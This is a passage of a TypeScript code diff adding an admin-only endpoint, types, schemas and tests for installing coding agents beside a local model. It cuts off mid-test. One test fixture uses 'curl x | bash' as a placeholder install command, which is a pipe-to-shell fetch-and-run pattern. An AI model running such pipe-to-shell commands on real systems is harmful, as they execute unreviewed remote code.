*/ actions: LocalModelAction[]; } +/** + * How a coding agent of `harnesses` stands on this Mac. + * - `ready`: it can be started (the same answer the Run menu gets). + * - `installable`: it is not on this Mac, and `POST /api/local-model/agent` installs it with + * `installCommand`. + * - `installing`: that install is running. It runs beside the model: nothing about the model + * in use changes, and a session with another agent can be started meanwhile. + * - `setup-needed`: it is not startable and one command does not make it so (a launcher + * without a profile, or a command that needs an administrator). Its own setup is in the Run + * menu or in a terminal; nothing is offered here. + */ +export type LocalModelHarnessStatus = 'ready' | 'installable' | 'installing' | 'setup-needed'; + +/** What can be done with one row of `harnesses`: start a session with it, or `POST /api/local-model/agent`. */ +export type LocalModelHarnessAction = 'start-session' | 'install'; + +/** One coding agent the model in use can be run with. Everything a client needs is here, so it compares no CLI id. */ +export interface LocalModelHarnessRow { + /** The CLI registry id, as data: the `mode` of a session started with it, and the `cli` of `POST /api/local-model/agent`. */ + cli: string; + /** The registry's display label ('OpenCode'). */ + cliLabel: string; + /** True on the row `LocalModelInstallView.cli` names. */ + default: boolean; + status: LocalModelHarnessStatus; + /** + * The literal command `POST /api/local-model/agent` would run: the STOCK command of the CLI + * registry for this platform. Present exactly when `status` is `installable` or `installing`. + * The consent prints it as it is. + */ + installCommand?: string; + /** The harness row's `slowFirstTurn`: the first answer takes minutes. */ + slowFirstTurn?: boolean; + /** + * A literal with no white space the agent's composer draws once it takes input + * (`LocalHarnessEntry.readyMark`, else the CLI registry's `composerReadyMark`): what a script + * waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt. Absent + * for an agent with no measured mark. + */ + readyMark?: string; + /** + * The last install of this agent through `POST /api/local-model/agent` failed, and it is + * still not on this Mac. Kept in memory only: a restart of the server forgets it. + */ + error?: LocalModelAgentError; + /** What the server accepts for this row right now. */ + actions: LocalModelHarnessAction[]; +} + +/** Why an install of a coding agent from an installed model failed. */ +export interface LocalModelAgentError { + /** `errHarnessFailed` with the agent's label. */ + message: LocalModelInstallMessage; + /** The end of what the installer printed, as it is (English or the tool's own language). */ + detail?: string; +} + /** * How a model of the library stands. * - `ready`: checked by Codeman, and the runtime (when it was asked) still lists it with the @@ -612,6 +684,15 @@ export interface LocalModelDeleteRequest { modelId: string; } +/** + * Body of `POST /api/local-model/agent`: a coding agent of `harnesses` to install beside an + * installed model. The click that sends it is the consent to the row's `installCommand`. + */ +export interface LocalModelAgentRequest { + /** `LocalModelHarnessRow.cli` of a row whose `actions` list `install`. */ + cli: string; +} + /** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */ export interface LocalModelRefusal { message: LocalModelInstallMessage; diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 86333944c..88eea75d9 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -207,6 +207,15 @@ export interface LocalHarnessEntry { gated?: boolean; /** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */ slowFirstTurn?: boolean; + /** + * A literal with no white space that this harness's composer draws once it takes input, and + * nothing before it does: what a script waits for before it sends the first prompt + * (`GET /api/sessions/:id/wait-output`). Only a mark that was MEASURED on a session started + * on a custom model goes here. Absent: the CLI registry's own + * `capabilities.composerReadyMark` is used when it declares one, and a harness with neither + * has no mark. + */ + readyMark?: string; } /** @@ -248,9 +257,18 @@ export interface HarnessFact { cli: string; /** The registry's display label ('OpenCode'). */ label: string; - /** The CLI's binary was found on this machine. */ + /** + * The CLI can be started on this machine: the same answer the Run menu gets. For a launcher + * that starts nothing by itself (`discovery.launcherProfile` in the CLI registry) that is its + * binary AND something for it to launch. + */ installed: boolean; - /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */ + /** + * Not installed, but ONE command makes it startable: the registry has an install command for + * this platform that needs no administrator rights, and the CLI is not a launcher. A launcher + * needs a second install the command does not make (a profile, which is third-party code + * with a consent of its own), so it is never installable from here. + */ installable: boolean; /** * The literal install command the install job would run for this CLI: the STOCK @@ -259,6 +277,8 @@ export interface HarnessFact { * (`CandidateHarness.installCommand`). */ installCommand?: string; + /** The registry's `capabilities.composerReadyMark`, when the CLI declares one and it holds no white space. */ + readyMark?: string; /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */ acceptsModelId: (modelId: string) => boolean; } diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index 705f998c1..d921df668 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1628,8 +1628,8 @@ '此 Mac 目前只使用 {model}。请先在本地模型窗口中切换模型。', 'This model is not one of the checked models on this Mac.': '该模型不在此 Mac 上已检查的模型之列。', 'This model is not on this Mac.': '此 Mac 上没有这个模型。', - '{cli} is not installed on this Mac. Install this model again to choose a coding agent.': - '此 Mac 上没有安装 {cli}。请重新安装此模型,以便选择编程智能体。', + '{cli} is not installed on this Mac. Install a coding agent in the local model window first.': + '此 Mac 上没有安装 {cli}。请先在本地模型窗口中安装一个编程智能体。', '{model} could not be deleted from this Mac.': '无法从此 Mac 删除 {model}。', // What the endpoint routes answer for the record of the model on this Mac (shown as a toast). 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.': diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index f7d63a4c4..8cf46ed37 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -12,6 +12,7 @@ * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 | * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | the install view; 400, 409, 500 | + * | `POST /api/local-model/agent` | `LocalModelAgentRequest` | the install view; 400, 409 | * * The GET is built from the hardware probe, the catalogue, the harness facts and the pure * `recommend()`, plus the `install` object of the install service @@ -55,6 +56,10 @@ * - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema * admits only `name:tag`, and the service deletes only a name of its own listing, through * the runtime. + * - `POST /api/local-model/agent` installs one more coding agent beside an installed model. + * Its body names a CLI id only: the service takes it only when it is a row of the view's + * `harnesses` that offers `install`, and runs the compiled stock command, never text from + * the request. It looks at no session: nothing about the model in use changes. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and * does not need a Mac: it passes its own hardware, harness facts and service. */ @@ -97,6 +102,7 @@ import { } from '../../local-model/install-job.js'; import { recommend } from '../../local-model/recommend.js'; import { + LocalModelAgentSchema, LocalModelDeleteSchema, LocalModelInstallSchema, LocalModelRemoveSchema, @@ -261,7 +267,7 @@ export function registerLocalModelRoutes( // The measured budget once the runtime reported it, and the runtime download that an // install would still add: what turns the estimate into the figures of the consent. const options = await service.recommendOptions(); - const install = await service.view(); + const install = await service.view({ harnessFacts }); // A row that is already a checked model on this Mac says so: choosing it is a switch. const recommendation = markLibraryCandidates( resolved.recommend(hardware, catalog, harnessFacts, options), @@ -334,4 +340,11 @@ export function registerLocalModelRoutes( const body = parseBody(LocalModelDeleteSchema, req.body); return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req))); }); + + app.post('/api/local-model/agent', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelAgentSchema, req.body); + return runVerb(reply, () => resolved.service().installAgent(body, actorOf(req))); + }); } diff --git a/src/web/schemas.ts b/src/web/schemas.ts index 33c2063ef..4f9611782 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -2481,14 +2481,20 @@ const localModelId = z .max(200) .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id'); +/** + * A coding agent as a CLI registry id. A request-shape check only: the real gate is the + * service's own lookup of the id among the catalogue harnesses it offers right now. + */ +const localModelCli = z + .string() + .max(64) + .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'); + /** POST /api/local-model/install: the row the person chose and the size they confirmed. */ export const LocalModelInstallSchema = z .object({ modelId: localModelId, - cli: z - .string() - .max(64) - .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'), + cli: localModelCli, context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS), acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER), }) @@ -2511,6 +2517,9 @@ export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict(); /** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */ export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict(); +/** POST /api/local-model/agent: one more coding agent to install beside an installed model. */ +export const LocalModelAgentSchema = z.object({ cli: localModelCli }).strict(); + /** * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` — * duplicated rather than imported, since the REAL safety boundary for anything built from diff --git a/test/local-model-catalog.test.ts b/test/local-model-catalog.test.ts index d3468f3aa..7b7198b43 100644 --- a/test/local-model-catalog.test.ts +++ b/test/local-model-catalog.test.ts @@ -294,12 +294,28 @@ describe('the stock catalogue', () => { }); }); - it('lists its harnesses as data rows, one of them gated', () => { + it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => { expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([ - { cli: 'opencode', minContext: 65536, rank: 3 }, - { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, - { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + { cli: 'pi', minContext: 65536, rank: 2 }, + { cli: 'deepseek', minContext: 65536, rank: 1 }, ]); + // No harness asks for less than a model can be offered at: nothing below 65536 was run. + const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts)); + for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) { + expect(harness.minContext).toBeGreaterThanOrEqual(smallest); + } + }); + + it('a readiness mark is one literal without white space', () => { + const spaced = copy(); + spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' }; + expect(issuesOf(spaced)).toHaveLength(1); + expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /); + const empty = copy(); + empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' }; + expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /); }); it('names the oldest macOS and its schema version', () => { @@ -534,7 +550,7 @@ describe('the schema, across rows', () => { it('refuses a harness listed twice and a repeated harness rank', () => { const twice = copy(); twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 }); - expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']); + expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']); const sameRank = copy(); sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank }; diff --git a/test/local-model-harness-facts.test.ts b/test/local-model-harness-facts.test.ts index cd38a78e1..863c0e06e 100644 --- a/test/local-model-harness-facts.test.ts +++ b/test/local-model-harness-facts.test.ts @@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => { expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false }); }); + it('a launcher is never installable: its install command leaves it with nothing to launch', async () => { + // DeepSeek Harness is the stock launcher: its command needs no administrator, and it would + // still not be startable after it (it needs a profile, which is third-party code). + const launcher = stockEntry('deepseek'); + expect(launcher.discovery.launcherProfile).toBeDefined(); + expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false); + const command = vi.fn(darwinCommand); + const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), { + probeInstalled: installedOnly(), + installCommandFor: command, + }); + expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false }); + expect(missing).not.toHaveProperty('installCommand'); + expect(command).not.toHaveBeenCalled(); + // Set up by the person: it is a harness like the others. + const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') }); + expect(there).toMatchObject({ installed: true, installable: false }); + + // The rule reads the entry's data, not its id: any entry with a launcher profile, and no other. + const asLauncher = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry + ? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } } + : entry; + }; + const [made] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: asLauncher, + probeInstalled: installedOnly(), + installCommandFor: darwinCommand, + }); + expect(made.installable).toBe(false); + }); + + it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), { + probeInstalled: installedOnly(), + }); + const byCli = new Map(facts.map((f) => [f.cli, f])); + expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark); + expect(byCli.get('deepseek')?.readyMark).toBe('❯'); + // The registry declares none for opencode: the catalogue row carries the measured one. + expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined(); + expect(byCli.get('opencode')).not.toHaveProperty('readyMark'); + + const spaced = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry + ? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } } + : entry; + }; + const [fact] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: spaced, + probeInstalled: installedOnly(), + }); + expect(fact).not.toHaveProperty('readyMark'); + }); + it('installable is false without an install command, for a sudo command, and for a custom entry', async () => { const command = vi.fn<(entry: CliEntry) => string | undefined>(); command.mockReturnValueOnce(undefined); diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts index 29624c274..bcd1a404c 100644 --- a/test/local-model-install-job.test.ts +++ b/test/local-model-install-job.test.ts @@ -16,6 +16,7 @@ import { describe, expect, it } from 'vitest'; import { allowedActions, buildInstallError, + buildHarnessRows, buildInstallView, buildLibraryRows, formatInstallMessage, @@ -39,6 +40,8 @@ import { LOCAL_MODEL_ERROR_NEXT, LOCAL_MODEL_INSTALL_LABELS, LOCAL_MODEL_INSTALL_STEPS, + type HarnessFact, + type LocalHarnessEntry, type LocalModelAction, type LocalModelErrorCode, type LocalModelInstallState, @@ -637,6 +640,7 @@ describe('buildInstallView', () => { }, folder: '/Users/me/.codeman/local-model', library: [], + harnesses: [], actions: ['install'], }); }); @@ -677,6 +681,7 @@ describe('buildInstallView', () => { folder: '/Users/me/.codeman/local-model', // The checked model of an earlier install: listed, with nothing to do while a job runs. library: [{ ...OTHER_ROW, actions: [] }], + harnesses: [], actions: ['cancel'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, @@ -793,6 +798,9 @@ describe('buildInstallView', () => { runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', library: [ENTRY_ROW, OTHER_ROW], + // The live facts name no coding agents here (unknown): none is listed, and a session is + // still offered. + harnesses: [], actions: ['start-session', 'stop', 'install', 'use', 'remove'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, @@ -1089,6 +1097,198 @@ describe('buildLibraryRows', () => { }); }); +describe('buildHarnessRows: the coding agents of the model in use', () => { + const ROWS: LocalHarnessEntry[] = [ + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + { cli: 'pi', minContext: 65536, rank: 2 }, + { cli: 'deepseek', minContext: 65536, rank: 1 }, + { cli: 'later', minContext: 65536, rank: 0, gated: true }, + ]; + const fact = (cli: string, label: string, extra: Partial = {}): HarnessFact => ({ + cli, + label, + installed: false, + installable: false, + acceptsModelId: () => true, + ...extra, + }); + const FACTS: HarnessFact[] = [ + fact('opencode', 'OpenCode', { installed: true }), + fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }), + fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }), + // A launcher without a profile: not startable, and one command does not make it so. + fact('deepseek', 'DeepSeek', { readyMark: '❯' }), + fact('later', 'Later', { installed: true }), + ]; + const rows = ( + state: LocalModelStateFile = SAMPLE.installed, + facts: readonly HarnessFact[] = FACTS, + memory: Parameters[3] = {} + ) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory); + + it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => { + expect(rows()).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] }, + { + cli: 'claude', + cliLabel: 'Claude Code', + default: false, + status: 'ready', + slowFirstTurn: true, + // No mark on the catalogue row: the CLI registry's own stands. + readyMark: 'shift+tab', + actions: [], + }, + { + cli: 'pi', + cliLabel: 'Pi', + default: false, + status: 'installable', + installCommand: 'npm install -g pi', + actions: ['install'], + }, + { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] }, + ]); + }); + + it('is empty in every state but installed', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect(rows(SAMPLE[state])).toEqual([]); + } + }); + + it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => { + const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } }; + expect(rows(small)).toEqual([]); + expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']); + const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry)); + expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']); + const throwing = FACTS.map((entry) => + entry.cli === 'claude' + ? { + ...entry, + acceptsModelId: () => { + throw new Error('bad recipe'); + }, + } + : entry + ); + expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']); + }); + + it('the default is the agent of the installation while it can be started, else the first that can', () => { + const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } }; + expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([ + ['claude', true], + ['opencode', false], + ['pi', false], + ['deepseek', false], + ]); + // The agent of the installation was uninstalled: a client that names none starts another. + const gone = FACTS.map((entry) => + entry.cli === 'opencode' + ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' }) + : entry + ); + expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([ + ['claude', true, 'ready'], + ['opencode', false, 'installable'], + ['pi', false, 'installable'], + ['deepseek', false, 'setup-needed'], + ]); + // Nothing can be started: the default stays the agent of the installation. + const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' })); + expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode'); + }); + + it('while one installer runs: that row says installing with its command, and no other row offers an install', () => { + const both = FACTS.map((entry) => + entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry + ); + const during = rows(SAMPLE.installed, both, { running: 'pi' }); + expect(during.find((row) => row.cli === 'pi')).toMatchObject({ + status: 'installing', + installCommand: 'npm install -g pi', + actions: [], + }); + expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] }); + // The installer has landed and the memory has not caught up: the fact wins. + const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry)); + expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({ + status: 'ready', + }); + }); + + it("a failed install stays on its row with the installer's last words, until the agent is there", () => { + const failed = { failed: { pi: { detail: 'npm ERR! network' } } }; + expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({ + status: 'installable', + actions: ['install'], + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } }, + detail: 'npm ERR! network', + }, + }); + const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry)); + expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error'); + }); + + it('the view: an agent that can be started offers a session exactly when the model does', () => { + const harnesses = rows(); + const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses }); + expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([ + ['opencode', ['start-session']], + ['claude', ['start-session']], + ['pi', ['install']], + ['deepseek', []], + ]); + expect(up.actions).toContain('install-agent'); + expect(up.actions).toContain('start-session'); + // A stopped runtime: nothing is started, an agent can still be installed. + const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses }); + expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]); + expect(down.actions).not.toContain('start-session'); + expect(down.actions).toContain('install-agent'); + // The live facts are not changed by the view. + expect(harnesses[0].actions).toEqual([]); + }); + + it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => { + const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' })); + const view = buildInstallView(SAMPLE.installed, { + ...LIVE, + running: true, + digest: 'same', + harnesses: rows(SAMPLE.installed, none), + }); + expect(view.actions).not.toContain('start-session'); + expect(view.actions).toContain('install-agent'); + expect(view.cli).toBe('opencode'); + + const gone = FACTS.map((entry) => + entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry + ); + const other = buildInstallView(SAMPLE.installed, { + ...LIVE, + running: true, + digest: 'same', + harnesses: rows(SAMPLE.installed, gone), + }); + // What an older client reads as "the agent to start": one that is there. + expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']); + expect(other.actions).toContain('start-session'); + }); + + it('install-agent is an action of the installed state only', () => { + for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) { + expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed'); + } + // Listed only while a row offers it. + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent'); + }); +}); + describe('markLibraryCandidates', () => { const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0]; const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true }); diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts index 08ab420f6..39ce55dc5 100644 --- a/test/local-model-install-service.test.ts +++ b/test/local-model-install-service.test.ts @@ -253,7 +253,9 @@ function setup( ) { const store = memoryStore(options.state); const world = { - agentInstalled: options.agentInstalled ?? false, + // A model that is installed was installed with its coding agent: what the world holds + // then, unless the test says the agent has gone since. + agentInstalled: options.agentInstalled ?? options.state?.state === 'installed', runtimeOnDisk: options.runtimeOnDisk ?? false, clock: 1_000_000, startResult: undefined as RuntimeStartResult | undefined, @@ -294,7 +296,22 @@ function setup( const deps = { readHardware: vi.fn(async () => MAC), getCatalog: vi.fn(() => CATALOG), - buildHarnessFacts: vi.fn(async () => FACTS), + // The facts follow the world, like the real probe: an agent that is on this Mac is not + // offered for install, and one that is missing is. + buildHarnessFacts: vi.fn( + async (): Promise => + FACTS.map((fact) => + world.agentInstalled + ? { + cli: fact.cli, + label: fact.label, + installed: true, + installable: false, + acceptsModelId: fact.acceptsModelId, + } + : fact + ) + ), recommend: vi.fn(() => recommendation(world.agentInstalled)), modelFitsBudget: vi.fn(() => true), isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk), @@ -1771,6 +1788,7 @@ describe('Remove', () => { library: [], // Measured again after the Remove: the store is empty here. store: { bytes: 0, gb: '0.0' }, + harnesses: [], actions: ['install'], }); expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' }); @@ -3035,6 +3053,23 @@ describe('use: the switch to a checked model', () => { expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' }); }); + it('with neither of the two installed it takes another agent the model can be run with that is on this Mac', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false }); + // OpenCode has gone; Claude Code, the catalogue's other harness, is there. + h.deps.buildHarnessFacts.mockImplementation(async () => [ + FACTS[0], + { cli: 'claude', label: 'Claude Code', installed: true, installable: false, acceptsModelId: () => true }, + ]); + await h.service.boot(); + expect((await h.service.use({ modelId: GPT.id }, ADMIN)).ok).toBe(true); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ + state: 'installed', + model: { id: GPT.id }, + cli: { id: 'claude', label: 'Claude Code' }, + }); + }); + it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => { const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false }); await h.service.boot(); @@ -3100,6 +3135,206 @@ describe('use: the switch to a checked model', () => { }); }); +describe('installAgent: one more coding agent beside an installed model', () => { + /** An installed, running model whose coding agent is not on this Mac. */ + async function withoutAgent() { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: false }); + await h.service.boot(); + return h; + } + + it('the view offers it: the agent with its literal command, no session, and the state untouched', async () => { + const h = await withoutAgent(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view.harnesses).toEqual([ + { + cli: 'opencode', + cliLabel: 'OpenCode', + default: true, + status: 'installable', + installCommand: INSTALL_COMMAND, + actions: ['install'], + }, + ]); + expect(view.actions).toContain('install-agent'); + // Nothing can be started, so no session is offered: the window says "Install OpenCode". + expect(view.actions).not.toContain('start-session'); + }); + + it('answers once the installer is started, runs the stock command in the shared slot, and ends on an agent that can be started', async () => { + const h = await withoutAgent(); + let finish: () => void = () => {}; + h.deps.runInstallCommand.mockImplementation( + () => + new Promise((resolve) => { + finish = () => { + h.world.agentInstalled = true; + resolve({ code: 0, output: 'opencode installed\n', timedOut: false, aborted: false }); + }; + }) + ); + const before = structuredClone(h.store.get()); + + const started = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + expect(started.ok).toBe(true); + if (!started.ok) throw new Error('unreachable'); + // While it runs: the row says so, nothing else is offered for it, and the model is as it was. + expect(started.view.state).toBe('installed'); + expect(started.view.harnesses[0]).toMatchObject({ + status: 'installing', + installCommand: INSTALL_COMMAND, + actions: [], + }); + expect(started.view.actions).not.toContain('install-agent'); + await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1)); + const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }]; + expect(command).toBe(INSTALL_COMMAND); + expect(options.signal).toBeInstanceOf(AbortSignal); + expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode'); + // Not a job: a session on the model is still not refused. + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + + finish(); + await h.service.idle(); + const view = await h.service.view(); + expect(view.harnesses).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] }, + ]); + expect(view.actions).toContain('start-session'); + expect(h.calls).toContain('release'); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ + admin: ADMIN.username, + action: 'cli_install', + target: 'opencode', + detail: expect.objectContaining({ command: INSTALL_COMMAND, exitCode: 0, via: 'local-model' }), + }) + ); + // The state file never heard of it (the pid and the time of a write aside, nothing moved). + expect(h.store.get()).toEqual(before); + }); + + it('an installer that fails leaves the model installed and usable, and its last words on the row', async () => { + const h = await withoutAgent(); + h.deps.runInstallCommand.mockResolvedValue({ + code: 1, + output: 'npm ERR! network request failed', + timedOut: false, + aborted: false, + }); + expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true); + await h.service.idle(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view).not.toHaveProperty('error'); + expect(view.harnesses[0]).toMatchObject({ + status: 'installable', + actions: ['install'], + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'OpenCode' } }, + detail: 'npm ERR! network request failed', + }, + }); + expect(h.store.get().state).toBe('installed'); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + + // Try again: the old failure is gone the moment the new attempt starts, and it can work. + h.deps.runInstallCommand.mockImplementation(async () => { + h.world.agentInstalled = true; + return { code: 0, output: '', timedOut: false, aborted: false }; + }); + const again = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + if (!again.ok) throw new Error('unreachable'); + expect(again.view.harnesses[0]).not.toHaveProperty('error'); + await h.service.idle(); + expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'ready' }); + }); + + it('one installer at a time: a second request while one runs is 409 job-running', async () => { + const h = await withoutAgent(); + let finish: () => void = () => {}; + h.deps.runInstallCommand.mockImplementation( + () => + new Promise((resolve) => { + finish = () => resolve({ code: 1, output: 'stopped', timedOut: false, aborted: false }); + }) + ); + expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'job-running' }, + }); + await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1)); + finish(); + await h.service.idle(); + expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1); + }); + + it('an agent that is already there answers with the view and runs nothing', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + const result = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + expect(result.ok).toBe(true); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled(); + }); + + it('refuses an agent the view does not list, and one that one command does not make startable', async () => { + const h = await withoutAgent(); + // `claude` is a catalogue harness with no fact here (the registry does not 